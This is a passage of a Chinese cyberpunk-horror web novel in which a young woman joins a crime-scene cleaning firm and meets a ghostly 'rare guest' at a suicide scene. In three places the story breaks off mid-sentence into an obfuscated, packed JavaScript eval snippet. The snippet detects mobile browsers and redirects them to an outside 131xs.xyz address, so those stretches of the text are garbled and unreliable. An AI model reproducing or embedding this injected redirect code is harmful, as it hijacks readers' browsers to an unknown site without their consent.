黎初确信自己没有撒谎,如果不是缘分,是什么让那几个混混在大雨天像呼吸一样简单地跟上了她? “他们和我打了个赌。” 赌约内容是前公司狗能不能一挑五。 “我赢了,他们输了,所以需要赎回他们的筹码。” 比如他们的老大。 “条件是帮我找份新工作,”黎初说,“话赶话地就说到你这儿了,没办法,就业难啊。” 谢云帆:“……” 总觉得事情没有这么简单,是错觉吗? “算了……换成平时,你要说是他介绍来的,我肯定不会同意。”他烦躁地又抓了抓本就很乱的头发,“但我们前几天才下了扩招的通知,你跟我过来,我去和经理说一声。” 果然是这么个千万不能说。 黎初心里有数,可她必须得直接确认一下,两眼一抹黑地在不知底细的人——还是刚被她揍过的混混——介绍的不知底细的地方工作实属不太明智。虽说可信度依然有待商榷,不过谢云帆的神情不似作伪。 在他的带领下,黎初从后门进了这家小型会社。 会社地方不大,胜在环境干净。 可能是因为要让来到这里的委托人对他们的业务能力放心,地面被打扫得一尘不染,光可鉴人。只有十个平米的大堂正中央摆放着光学投影仪,在半空中展示出曾经承接的几个大单子的立体影像。 其中一个是一座大型球场,数十排座位众星拱月地包围着中间的绿茵地。 但无论是作为座椅还是草地都浸泡成了鲜血的颜色,芝麻大点的小人身着防护服散落其间,血渍和尸块在他们手下一点点被清理干净,快速还原成了原本的模样。 以至于有种……瘆人的解压感。 “2029年的花园球场事件。”谢云帆注意到她的目光,介绍道,“赛博疯子传染了好几十号人,当时还挺轰动的吧?安净全体员工出动,球场三天后就恢复原状重新开放了。” 三言两语之间,投影已经切换了场景。 现在是个类似于嘉年华的会场,依然是满地血浆和碎肉,依然是按下快进键的清洁小人。 “这废丘的治安有点差。”黎初诚实地说。 怎么惨案搞得跟日常似的。 谢云帆疑惑地看她,“你不是本地人?” “中午吃了饭也不影响我晚上抱怨肚子饿啊。”黎初道,“不过我是公司出来的。” 谢云帆露出了几分了然的神色。 黎初心说她猜对了。 街道景象的大相径庭、生活待遇上的天差地别,这自然而然地造成一种割裂。 就像待在云端的人不可能知道土壤的泥泞,走投无路的零元购不会威胁到井然有序的公司地区。 只要他们愿意,浮空车接来送往的人上人一辈子都不用见到污了自己眼睛的街头混混。 谢云帆显然将她当成了这种人的低配版,但他仅仅是轻皱了下眉头,然后就说:“经理在这边。” “安净规模小,没有专门的人事部,”他介绍道,“经理其实就相当于二把手。” “来这里之前,”黎初说,“我还以为这种重复性高的工作可以用机器人代替。” 她还在生命集团的时候见到了一些自动化设备——尽管只有前台接待这样需要有社交交互的才被设计成了人形。 “确实有很多人这么想。”谢云帆耸肩,“但考虑到成本,这方面用人力更省钱。” “当然还有别的原因,我不能直接告诉你。” 他们转过拐角。 “这行有特别的风险……虽然出现的概率很低,但是一旦出现,会诱发机械不可预估的事故。相对来说,人更可控。” “所以对于我们来说,改造得越少越好。” 他直接用了“我们”,这引起了黎初的兴趣,“你没有装植入体?” “有。”谢云帆干脆地敲敲自己的左眼,“不过只是个老型号的视界中枢,用来打打电话和绑定个人账户。” 他自然地接道:“你呢?公司出品应该高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506440|186078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 级多了吧?” 黎初:“一个都没有。” “……啊?” 这年头,丝毫不做义体改造的简直是凤毛麟角——特别是对于公司员工而言,谢云帆没有掩饰自己的惊讶,但他也同样没有追问下去,因为他们已经到了经理办公室门口。 “杜经理,”他敲敲门,“我这儿有个新人。” “进来吧。” 回应他的是一道颇为干练的女声。 这让黎初有点惊讶,可能是谢云帆带来的第一印象使然,她还以为这家小型会社的平均年龄会更年轻一些,但门内的声音听上去得有四五十岁了。 谢云帆带头走进去,“经理好。” 黎初跟在他身后,看清了坐在办公桌后的女性。 年岁在她额头和脸颊留下了深浅不一的沟壑,银灰色的头发被挽成发髻,她穿着一身简约的素黑制服。鉴于这个世界的科技水平,黎初总觉得她的实际年纪应该更大一些。 “这个是?”她问。 谢云帆迟疑了一下。 “……是我一位朋友的朋友。”他说,“她想在这里工作。” “您好,”黎初迅速露出一个这年龄段的中老年人应该最喜欢的乖巧笑容,“我叫黎初。” 但杜经理显然没什么触动,只是伸出手指敲击了下桌面。 “年龄,植入体类型,信用级别。”她言简意赅道,“能负担重体力活吗?对血腥场面的接受程度如何?” 黎初对答如流:“二十一岁,没有义体,六等公民。” “体力……应该没问题。”她回忆起昨晚把混混们甩飞出去的力度,“还好吧,见过不少。” 虽然都是在游戏里。 谢云帆诡异地看她一眼,黎初怀疑他脑补了奇怪的东西。 “去签实习合同吧。”杜经理说,“云帆,既然是你带来的,让她先跟着你出一次任务。” ……就完了? 【找工作,有时候就是这么简单。】 黎初:“?” 你昨天可不是这个态度。 “那个……我想问一下,”她说,“咱们这儿的薪酬是多少?” 这个很重要! “次结。”杜经理说,“如果是普通的小型任务,实习期间一次一千信用点,转正后翻倍。” 黎初倒吸了一口凉气。 她见过那些招工宣传单,对底层的平均薪酬有概念。 仿佛被天降馅饼砸中了,第一反应就是晕晕乎乎的欣喜若狂。 黎初听见自己问:“可以给现金吗?” 这个问题其实有点突兀,但杜经理的神情并不意外——不限信用级别和工作性质就决定了,会来应聘这份工作的,都是各有隐情的底层人。 她没有追问为什么,“可以。” 黎初还是不太相信自己竟然如此轻易地得到了这份工作。 但…… 脑内的机械音先一步解决了她的疑虑。 【任务“找到一份新工作”已完成。】 【当前任务:完美地完成你的第一次清扫。】 【NPC权限已解锁,多线剧情树已解锁,玩家论坛已解锁。】 【距内测开始还有10天。】 【请宿主务必做好相关准备。】 5. 生命工坊 ……内测? 黎初愣了一下。 所以她现在的定位是NPC? 离内测还有十天的意思是……到时候会有参与内测的玩家乌央乌央地涌进来,而她只有十天的时间做准备? 而她现在甚至只是个还没上岗的清洁工。 不是,这合适吗? 感觉是那种走在路上会被心情不好的玩家一拳锤飞的炮灰类型啊! 这就是以前在单机游戏里为所欲为的报应吗?一定是的吧! 系统还在继续播报。 【当前职业:凶案现场清洁工。】 【恭喜你解锁成就:“一屋不拖何以拖天下”。】 【说明:哦,辛辛苦苦读到本科毕业居然只能去当清洁工,这见鬼的人生,我真想狠狠踢老天爷的屁股!没关系,统治世界总是要从一间屋子开始的,尽情地在案发现场挥洒你的青春吧!】 不了谢谢,听着就好悲哀。 还有你是不是偷偷把拯救世界改成统治了? 【成就奖励:“全村最好的拖把”×1。】 【这是集全村男女老少之力为你做出的拖把,性能甩出会社的老型号不止一条街——三百六十度旋转,吸水锁血超级加倍,轻轻一擦即可去除顽强鞋印,通缉犯用了都说好,想破坏现场就用它。全村最好的拖把,让每一次弯腰都值得。】 “谢谢你,”黎初在脑海里说,“没有把这硬广拖把直接变到我手上。” 不然她就只能说自己师承孙悟空了。 这世界有没有孙悟空还是个问题。 【也不是不行。】 “那把你一起炸了也不是不行。” 【???】 现在不太可能去细究那些新开放的功能了,黎初跟着谢云帆走出办公室,很快拿到了自己的实习合同——电子版和纸质各一份。 黎初耐着性子草草扫了一遍充斥着各种法律术语的条款,这对她是个挑战,因为她一向是直接勾选“同意”的——不过还真被她注意到点什么。 其中有一行加粗的字体写道:“乙方在实习期间接触到的一切信息均属于保密范围。” “这条很重要吗?”她问谢云帆。 单论保密条款其实很常见,但……一家清洁会社有什么机密可言?难不成还能是清洁剂的配方? “有些雇主不喜欢自己或者亲朋好友死后的信息被传得到处都是。”谢云帆说,“要去的地方有时候也有点敏感,所以要防止泄露。” 原来如此。 电子版直接瞳孔认证就好,她一挥笔,正要在纸上签下自己的名字,忽然手指头一抽,“哎哟哎哟”地叫起疼来。 谢云帆被她整懵了,“怎么了?” “不知道,可能是之前不小心被你前邻居的脑壳硌了一下。”黎初苦着脸甩甩手,“握笔有点费劲,直接按手印行不行?” “行吧,反正你是未经改造的自然人。”谢云帆同意了她的要求,“你先盖,然后我拿去问问。” 你人还怪好的嘞。 黎初借助印泥按了拇指印,目送他拿着合同离开。 她不知道原身的笔迹是什么样,但既然十天后就会有玩家登入,那还是谨慎点,至少不要在这种留痕的公文上留下把柄——比如某年某月某日,某位公司员工在离职后突然性情大变,连笔迹都换了个人。 前者还能解释为精神受了刺激,后者是切实的物理证据,所以还是能避则避的好。 毕竟你永远都想象不到玩家能有多闲。 谢云帆回来得很快,看他的表情,一切顺利。 “可以,通过了。”他空着手,瞧见黎初的表情后默了下,“……又怎么了?” “不好意思,”其实黎初说得特别好意思,“我想问问咱们这儿包食宿吗?” 她从昨天下午到现在还没吃饭,肚子饿得咕咕叫。 早知道她应该再想办法把自己弄到局子里去,至少那里供饭,还是猪排饭。 虽然猪排的口感很差劲。 “没有宿舍,大家都是次结的合同工。”谢云帆好心道,“吃的只有点心,我去给你拿两个小蛋糕?” 黎初郑重地双手合十,“好人一生平安。” 于是谢云帆刚回来又走了,再回来的时候端着个一次性盘子,上面有两块拇指大的小蛋糕。黎初知道这不能怪同为打工人的谢云帆太抠,应该说安净太抠。 但有总比没有强。 她三下五除二地吞下那两块小蛋糕,出乎意料地,味道还不错——糖油这些工业产品只要够量,自然比那种粗制滥造的人造肉更保护嗓子,坏处就是稍微垫了点食物的肚子比之前更饿了。 好在她现在需要做的是不让自己进医院,感觉不在考虑范围内。 “你什么时候方便开始工作?”谢云帆问。 黎初耸肩,“我巴不得现在就开始工作。” 早点上岗早点结钱。 “那好,”他说,“反正你也被派给我了,我等下就有个活儿。” 黎初还在就着蛋糕喝水,旁边的谢云帆已经说明起了情况。 “这次的外勤是个自杀现场。”他一边看表一边道,“一会儿会社的车会送我们过去,你先去领套制服。你的主要任务是避免职业暴露,别的暂时就打打下手,听我指挥。” 他顿了顿,像是在思量接下来的话要不要说,最终开了口: “就算遇到了什么突发情况,只要记住三个‘不’——不要看,不要听,不要问。” “总之,哪怕真的看到听到了,也尽量别受影响。” ……怎么神秘兮兮的! 黎初的好奇心完全被勾引起来了,但看样子,他并不准备为此解惑——至少不打算在这里解惑。 她的行李箱暂时寄存在会社里,他们找仓管领了制服,一套是谢云帆现在穿着的那种员工日常便服,另一套是全身式化学防护服,很厚实的几层,附带防护面罩和胶鞋,俨然要从头包到脚。 无人专车就停在会社门外,在确认预定的两位员工都已到位后,它缓缓向着外面驶去。 谢云帆算是照顾新人的类型,手把手指导着黎初怎样套上防护服。收紧袖口时,她发现卡扣正好吸附到左腕。剥开卡扣,里面是两个圆形的注射孔。 “它会自动识别你的血管位置。”谢云帆解释说,“给紧急情况准备的,一般用不上。” 比起黎初知道的那种医用防护服,安净会社这款防护服所用材料厚实又轻盈,关节处的锚点也都有附着功能,贴合在身上毫无笨重之感,别说拖地擦洗了,连做更复杂的动作应该也不在话下。 黎初戴好半透明的防护面罩,将覆盖在上面的长条不明物按照位置对准眼部,才发现那是一条柔软的显示屏。 嚯。 完成瞳孔认证之后,这块长条形的漆黑屏幕就转为透明,像镜片那样清晰地显示出车内景象。黎初稍微晃晃脑袋,看到视野内迅速用红线圈出了几块污渍和鞋印,还随着佩戴者的摇晃而灵活地变换位置,相当方便明了。 “要去的是诺维生命工坊。”谢云帆说,“听名字就知道了吧,生命集团旗下的子公司。” 这会儿听到老东家的名字就像再婚要在离得很难看的前夫家办酒席,黎初沉默了。 “说是子公司,其实只负责人类制品的分销。有个男性员工在半开放式办公室吞枪自杀。” “……什么制品?” “人类制品。”谢云帆以为她没听懂,重复了一遍,然后就接着说道,“咱们的工作内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506441|186078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容是清除痕迹和废弃用品,清洁剂和拖把什么的都在后备箱,等会儿帮忙搭把手。” 无人车丝滑地泊入门口车位,谢云帆率先下车,打开后备箱盖拿出一应工具。黎初跟在后面,帮着提两桶清洁剂,同时偷偷打量了一下它们的外包装。 不出意料,这应该是安净自己调配的特制清洁液——用来派这种用途的清洁剂也很难在市面上流通——上面贴着“安净特殊处置会社”和“绝密”的标签,桶身也是不透明的塑料材质,透着一种欲盖弥彰的神秘感。 诺维生命工坊是幢独栋小楼,无愧于是生命集团旗下产业,风格和总部如出一辙——浅蓝、透彻、流水般的线条,哪怕跻身在平民阶级的商业区也掩盖不住非同一般的气质。 黎初是见识过生命集团的,所以这装潢在她看来不算什么,但换作旁人就不一样了,路人经过时总忍不住要多瞄小楼两眼,继而端详他们两个的打扮,猜测里面到底发生了什么。 工坊现在是封锁状态,谢云帆旁若无人地掏出钥匙卡解锁大门,带她乘电梯上了二楼。 厅门缓缓在眼前滑开,映入眼帘的是一道蹭得蜿蜿蜒蜒的血迹。 血迹延伸到某扇门后消失了,虽然面罩隔绝了气味,但以那发黑的色泽和中间掺着的浅淡部分——标识镜自动分析为脑脊液——就想象得到腐败得有多严重。黎初其实不太想知道旁边那些圈出来的还蠕动着的白点点是什么,耐不住面罩非要告诉她。 “不是吞枪自杀吗?”她问,“怎么……” 到处都是? “听说死前还爬行了一段距离,所以员工在咱们处理完之前都改为居家办公。”谢云帆说,“走吧。” 黎初有点微妙。 她一时说不上这微妙感源于何处,只能断定为直觉。而走在前头的谢云帆已经打开了目标的那扇门,她也就跟了过去。 如果走廊还是触目惊心,这间办公室里的景象就用惨烈都不足以形容了。 面罩护在耳朵上,不过声音不比气味,只是显得沉闷了一些,耳边依然能听闻到虫类聚集时薄翼震颤出的嗡嗡声。 这里早就成了食腐昆虫的天堂,天花板上还留有一大团喷溅状的血迹,经过时间的沉淀已经发黑了。对应的那个工位周围也是满目狼藉,鱼子酱似的蛹壳堆积在侧,小块小块地黏成团结着的囊肿。 蝇虫密密麻麻地在靠椅和桌面攒动,偶尔看得见藏在缝隙间的液体干透之后的渍痕。那道人形污染痕完整地印在上头,标识出死者最后的印记。 “……” 黎初突然明白了那微妙感来自何处。 ——如果尸体腐烂在这里,那在外面爬来爬去的又是谁? 难道死者临死前出去爬了一圈,最后还是决定誓死不离岗,与工作共进退? 有点地狱了哥们。 黎初下意识地去看谢云帆,后者似乎也察觉到了不对劲,只是没有完全反应过来——但两人视线相撞的下一秒,他猛然瞪大眼睛,嘴唇翕张却又吐不出任何真正意义上的字句。 就这样瞪着她身后。 不要看,不要听,不要问。 在他勉力挪开视线的同时,黎初看到对方又用口型重复了这句话,她僵硬着脖子,没有轻举妄动。 冰冷的金属质感从身后靠过来,几乎挨上耳廓,黎初汗毛都要炸开了,她根本不知道自己后头是什么东西,只是猛地察觉到了强烈的存在感,无声无息又格外清晰。 它在她头顶。 她可以如此断定。 这玩意儿盘踞在天花板,以一种人类不可能有的姿态柔软地扭转过来,倒挂在她背后。 那张苍白的脸俯在她耳边,轻轻地问: “你也被开除了?” 黎初:“……” 6. 稀客 扎心。 太扎心了。 要不是她前司已经炸了,她的心就要真被扎到了。 以及…… 黎初本能浮现出的第一个念头。 ……你们赛博朋克世界,还闹鬼啊? 众所周知,恐怖片里最让人紧张的时刻不是BGM装神弄鬼,也不是精彩刺激的追逐战——你只要肾上腺素飙升地跑就可以了。 而是一切都安静下来之时。 周围没有一丝一毫的杂音,能灌到耳中的只有你自己的呼吸与心跳。观众的心和主角的一起悬在嗓子眼,神经和主角的一起绷到最紧,任何动静都有可能是惊悚的先兆。 她什么都听不见。 那个接近她的东西沉默了下来。 它没有呼吸,也不再移动——它来得本就悄无声息。 街道的喇叭声不知何时离他们远去,谢云帆早已急忙地别开双眼,只有捏着拖把杆到发白的指节证明他远不如表面上那样平静,她不再能从他的反应判断出自己身后的状态,黎初下意识屏住了呼吸。 然后她听见了。 吸气—— 短暂的停顿。 呼气—— ……它不是没有呼吸的声音。 它在学着她呼吸。 就剩一道呼吸声响起的这瞬间,她可以感觉得到,余光里那张一闪而过的、平滑的白脸,嘴角缓缓向上咧起,仿佛在说:看,我知道你发现了。 她不应该听。 她不应该看。 她更不应该顺着这去继续思考,谢云帆对她的警告想必是前人的经验总结,如果她够聪明够谨慎,就该夹起尾巴当个没事人。 黎初猛地回过了头。 ——空的。 眼前仍是一片腐烂物的腌臜,地上斑驳不堪的血迹连变都没有变过,没有人来过,更没有什么从天花板倒吊下来的鬼东西。办公室里只有她和谢云帆,直冒冷汗、呼吸急促的谢云帆。 他没有第一时间发现她的动作,直到被黎初带到的办公椅与地面发出了一声尖锐的摩擦,才条件反射地朝着声音传来的方向看去。还来不及为自己的行为后悔,他就瞧见还保持着回头姿势的黎初,不由失声:“你怎么——” 黎初转回身,无辜地眨巴着眼睛,“好奇。” 谢云帆:“……” “刚才什么东西在我后面?”她开门见山地问,“你看到了吧?” 至少证明看到不是即死。 谢云帆的嘴唇抿成一条直线,然后才挤出声音,“我、我没看到……” “不可能。”黎初说,“你肯定看到了。” “我真没看到!”谢云帆压低声音,语气又快又急,“我就看到……我就看到你背后有个影子,不……不像人,还闪乱码,细细长长地吊下来……” 黎初忍不住又回头看了一眼。 开放式办公区被分割成无数个小工位,断电的交互式触控板仍然一片漆黑,被血液喷溅所污染的玻璃隔断呈现出令人不快的暗色,那些曾经只是主人暂留下来的私人物品也连带着被遮挡,就像一只只正在窥伺他们的眼睛。 “它这算是走了?”她问。 谢云帆惊魂未定,“我怎么知道?!” 黎初:“……我还以为你挺有经验。” “呃,啊、对,我是挺有经验!”谢云帆赶紧捡起身为前辈的架子,只是声音越来越小,“但我也没想到能真遇到啊!我之前只是听说过传闻……” “听说?”黎初环顾四周,确认过哪里都没有对方说的那个影子,“难道这就是你说的会诱发机械事故的原因?” 听到她的话,谢云帆明显陷入了天人交战。 他的眉毛死死地打着结,纠结半天,最后终于下定了决心,“为了避免引起恐慌,这在会社里是禁止谈论的,你就当听个故事——” “你知道‘稀客’吧?” “不知道。”黎初说,“那是啥?” 谢云帆:“………………” 他看她的眼神现在充满了“当公司狗真好啊”的无语凝噎——当然,这是黎初根据那群混混对她身份的称呼自动补全的。 “都市传说……”他停顿了下,补充道,“底层多少知道点的都市传说。” “据说,是脏东西,是一种……会出现在死亡现场的现象,特别是带着执念的枉死。人死得太不甘心,那股劲儿就留在原地,那地方会形成‘稀客’。” “基本没人亲眼见到过‘稀客’,我也是进了安净以后,才知道世界上真的有这玩意。” “但是概率很低的!只要清理了死亡现场就是只存在于理论上的东西!” “所以……才会出现‘安净’这样的产业,”直白说出这些,对谢云帆造成的心理压力显然不小,防护服其实挺透气的,但他额头上仍然渗出密密麻麻的汗珠,“血液和碎肉之类的东西,不及时打扫干净就可能催生出稀客,我猜这儿就是耽搁了几天才……” 黎初“哦”了声,“稀客缠上机器会很麻烦?” “相当麻烦。”谢云帆说,“直接报废。能做清理现场这样精细活儿的机器不便宜。” 黎初心说她还以为他们的薪水够高了。 “那人呢?”她问。 “没那么麻烦。”他看上去稍微放松了点,“就像我跟你说的一样,当它们不存在,尽快做完我们的事,然后上报稽查局,他们有专门的特别行动分队解决这个,所以只要联系他们——” 黎初:“我有个问题。” 谢云帆:“啊?” “你在安净工作多久了?” 谢云帆一下子咳嗽起来。 “虽——虽然才三个月!”他努力调整自己的神色,“但我会负起前辈的责任!安净,安净,耳根清净!” “好的前辈,没问题前辈,”黎初从善如流,“前辈你是不是不认识真碰到过稀客的人?” “那确实没——” 谢云帆听到这声称呼下意识露出来的笑容僵在了脸上。 他面部的血色慢慢地褪了个一干二净。 “不至于……”他喃喃道,像是说服她又像在说服自己,“因为绝大多数时候都是分组行动,又是次结,认识的机会本来就少……” 黎初没有说话。 比起初来乍到的她,土生土长的谢云帆自然该明白这代表着什么。 长期的人手短缺,过低的招聘要求,不允许直接谈论,限制交往的人员安排——拼凑在一起,目的已经昭然若揭。 怎样判断一个死亡现场有没有出现稀客? 简单。 如果清洁工死了就是了。 “哐当”一声,谢云帆丢下手里的拖把,他手忙脚乱地摸出个圆形的小终端,结果按了好几下都没反应,他的脸色这下更难看了。 “……没信号。” 谢云帆的心重重地坠了下去。 清洁会社的普通员工在遇到稀客后一命呜呼,那确实不可能活到跟他们认识——这无疑佐证了黎初的怀疑,现在,他们就是所谓的“普通员工”。 他三步并作两步地奔向二人进来的那扇门——索性它还能打开——连接着滑轨的玻璃墙都因为这过大的力道而微微震颤,慌不择路的鞋底也在原本还算干净的地面部分踩出半个血脚印。在谢云帆冲出去的方向尽头,那座送他们上来的电梯还安静停着,直到他“砰”地扑到了装有按钮的墙面上。 先是手指头连戳了好几下,接着是见它同样毫无反应就改用拳头去砸,闷响声接二连三地回荡在空旷的空间内,拖曳出绝望的尾音。 黎初跟在他身后,眼见着他从不死心地疯狂攻击,逐渐变得迟滞,最后,那抬起的拳头悬在半空,再也无法落下。 他放弃了。 黎初转过头,看向了走廊尽头。 她一愣。 就在那里,有什么东西不对劲。 她不记得是从何时开始的了,可能是喇叭声彻底消失的时候,也可能是他俩还在为那个尚未完全成型的“稀客”而心神不宁的时候。 废丘的天光本就吝啬,但至少,它曾在那里。 可现在,走廊尽头那片本该有窗户的区域,只剩下一片纯粹的、仿佛能吸收一切的黑暗。 不,那不是普通的黑暗。 它像有生命的浓墨,正从地砖的缝隙中渗出,粘稠而无声地攀上两侧原本平直的墙壁,让它们显出了凹凸不平的棱角。光线在它的边缘被扭曲、吞噬,连空气也似乎因为它的存在而变得冰冷凝滞,黎初甚至产生了一种错觉,她觉得自己看到它在缓慢地、有节奏地……呼吸。 就像那个东西在她身后时一样。 ……就像活着一样。 它们……在“活”过来。 “前辈啊——”黎初快步走过去,双手撑着膝盖,弯腰看滑坐在地上的谢云帆,“这个‘稀客’,既然是都市传说,还有别的故事不?” 现在再叫这个称呼,纯让谢云帆被鞭尸了。他看看冷静自若的新人,再看看慌里慌张的自己,藏在面罩下的脸都羞愧成了猴屁股。 “别的故事……呃……”他努力搜刮着为数不多的记忆,奈何这玩意儿摆在大众面前的部分实在少得可怜。 有了。 “我……很早以前听过个鬼故事。”谢云帆斟酌着说,“但我当时还没意识到它和稀客的关系。” 黎初好奇地问:“那前辈你现在怎么反应过来了呢?” “……我又不是真傻!”他恼羞成怒道,又不自然地咳了声,“总之……” 谢云帆停顿了下,“等等,咱真要在这儿开故事会?” 放眼周遭,稍远的目光所及之处就是隐隐渗透着不安的混沌,怎么看都不是个适合长篇大论讲话的地方。虽然为了搞清楚当下的情况,有些讨论是必要的,但是—— “前辈你不觉得这样讲鬼故事才有氛围吗?”黎初诚恳道。 谢云帆:“??” 喂!! “好吧说认真的,”黎初说,“在有个具体的方案之前,待在原地应该更安全。” 至于具体方案是什么…… 被她投以期待眼神的谢云帆压力很大。 “我想想,我想想。” 要不是隔着防护服,他都要焦虑得咬大拇指指甲了。 “我是从一个老垃圾工那里听来的——” “垃圾工?” “就是专门去翻淘汰下来的二手垃圾零件的……地下义体医生的货源有时候得靠他们。”熟悉的鄙视公司狗眼神,“听他讲的时候,我还和——呃,这不重要——那会儿还小,不过该记得的我都记得。” “据说……是他在鬼哭街收零件碰上的事儿。” “当时的鬼哭街还不像现在这么热闹,”他回忆道,“废弃的商业中心附近没几个人住,但黑|帮会在那里约架,捡个胳膊腿儿也挺有赚头。” 他一抬头,就看到新人捧着从办公室毛来的本子和笔,在那里奋笔疾书地记,“鬼哭街……曾经盛产……人棍……” 谢云帆:“……” 倒也不至于! “反正他有天照常去‘工作’,就看到平时会经过的一座居民楼被血帮围了。”他继续道,“他躲起来偷听以后,发现是他们的几个成员说找个地方喝酒,结果人不见了,据说最后被看到是在楼外面。” “我不知道你清不清楚街头的规则——遇到血帮,能躲着走就躲着走。所以他也这么做了,等再回来的时候,聚在楼底下的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506442|186078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经散了,他实在好奇,再加上觉得说不定能捡漏,偷偷摸进去看了一眼……” “他顺着楼梯上去,发现有扇门虚掩着。”他压低声音,“直冲门口的餐桌旁边坐了得有三四个人,从发型和打扮看,就是之前在楼下见过的那些。” “但说也奇怪,他们的样子都不一样了,个个面黄肌瘦、尖嘴猴腮,眼袋重得跟熬了几十个大夜似的。最诡异的是,他们全在一动不动地盯着自己跟前的空碗,不知道的还以为能靠这样把碗底钻个洞……” “再然后,有个老太太从里头走了出来。” “那老太太长得……不能说是丑吧,可是给人的感觉就是……枯萎。” “枯萎?” “对,”谢云帆绞尽脑汁地回忆,“皮肤是蜡黄色,眼窝凹陷,血管像蜘蛛网一样突突直跳……的那种感觉。她拿了个锅子,给那几个人的碗里一人舀了一勺。” 他用力咽了下唾沫,表情不太愉快。 “那味儿啊,听说闻着就跟蛋白汤发霉以后和酸液一起发酵了十天半个月似的,整个屋子都是,他当时差点直接吐出来。” “他们还是没有反应?” “……有。”谢云帆说,“他们开始狼吞虎咽地喝。” 已经用不着他再描述了。 寥寥数语下来,黎初完全想象得到那个画面——房内灰暗,干瘪枯瘦的老太太垂手站在旁边,深陷下去的眼睛瞧不出神采,只是一声不吭地盯着坐在桌前的几人。 而弥漫在鼻间的是泔水腐烂后的恶臭,造就它的源头就在她手里拎着。她把那些污浊又粘稠到结块的糊状物均匀分给每个人,看他们毫不犹豫地像对待美味珍馐一样灌下去。屋里“唏哩呼噜”喝粥的声音此起彼伏,除此以外再无别的动静。 垃圾工当时作何感想,黎初不知道,她用笔头一下下敲着本子。 “你怎么确定那是‘稀客’?”她问。 谢云帆一时语塞。 “……感觉吧。”他最后说,“他当时形容的那个氛围,我后来一直没有见过,但今天遇到以后,突然就想起来了。” “还有血帮——我想不出除了稽查局以外还有什么能让他们忌惮,或者说折了兵可是没算账?不管怎么样,这是我知道的事情里最接近稀客的了。” “那先假定这是真的。”黎初干脆道,“可以推测的是,第一,进入稀客影响范围的人,身体和认知都会在短时间内极大损耗;第二,稀客会有最终实体;第三,受影响者会按照稀客的意愿行事。” “确实。”谢云帆赞同,“其实他跟我们讲的时候,也说过他观察后的想法。” “他认为……那个像老太太的‘东西’,在一遍遍迫使他们做同一件事。” “事到如今,再结合一下稀客的特性,说不定是要以某种方式反复重演死亡现场……” 他挤出声音。 “……演到死。” “不过同一件事是怎么得出来的?”黎初问,“感觉光是你说的那些还不够啊。” “因为刚才只是这个故事的前半段……” 黎初:“还有后半段?” 谢云帆:“对。” 谢云帆啊谢云帆! 他抬起手重重拍了拍猴子屁股,在心里痛斥自己道。 你怎能如此堕落!先前定下的前辈计划你都忘了吗?! 你当初怎么发誓的!说如果有朝一日自己带新人,绝不让对方踩自己踩过的坑……虽然这坑你也是第一次踩吧,但要发挥前辈的作用! 现在看看人家看看你,绝不能再跌份了! “他站在门口,准备趁他们都还没注意到自己,赶紧逃跑,但就在这个时候,他兜里的终端突然响——” “叮铃铃铃铃铃!” “我我我去?!”刚扶着墙站起来的谢云帆一个趔趄又摔成了屁股墩,他也顾不上跌不跌份了,手脚并用向后滑了两步,不可置信地看着那刺耳铃声传来的方向,想不明白怎么能这么言出法随。 别说他了,黎初也在一动不动地望着他们出来的那间办公室,电话铃声正是在那里响起的。 “叮铃铃铃铃铃!” “过去看看?”她提议道。 “不……不对,”谢云帆尽力冷静下来,撑着身子站起来,“先观望一下,那个电话肯定不能接……” 这里没有信号,所以——它是内部线路的概率很高。 而在一个原本已经确认断电和停工的地方,内线的另一头是谁,这简直是个想想就让人头皮发麻的问题。 一旦接了,说不定他们会直接踏上重演的不归路。 他们伫立在原地,听着铃声像催命符似的一次又一次响。 “叮铃铃铃铃铃!” “叮铃铃铃铃铃——” 终于,它停下了。 空气中出现短暂寂静的瞬间,谢云帆当即不由自主地松了口气,可还不到十秒,那足以惊起一身鸡皮疙瘩的铃声再次划破了空气—— “叮铃铃铃铃铃!” 黎初抬步向里走去。 谢云帆:“哎?” 他来不及阻止,只好赶紧跟上,只见她毫不犹豫地走向那部还在坚持不懈地响着的终端电话——它看上去和外面的同样型号并无差别——直接朝着它的屏幕伸出了手。 谢云帆脱口而出:“别接!” 但真不接? 放任它无休无止地响下去?如果这也是影响的一环呢? 在这天人交战之时。 黎初默默看了他一眼。 她伸过去的手没停,在上面点了几下,然后才收回来。 世界安静了。 她把它拉黑了。 谢云帆:“…………………………” 7. 办公室凶铃 谢云帆现在的心情很复杂。 既有自己怎么就想不到这么直接的办法的懊恼,又有对这么做是否真有效果的担忧——事实证明他的担心并非空穴来风,和平的宁静只持续了不到半分钟,电话铃就再次划破了空气。 这次是另一台。 “叮铃铃铃铃铃!” 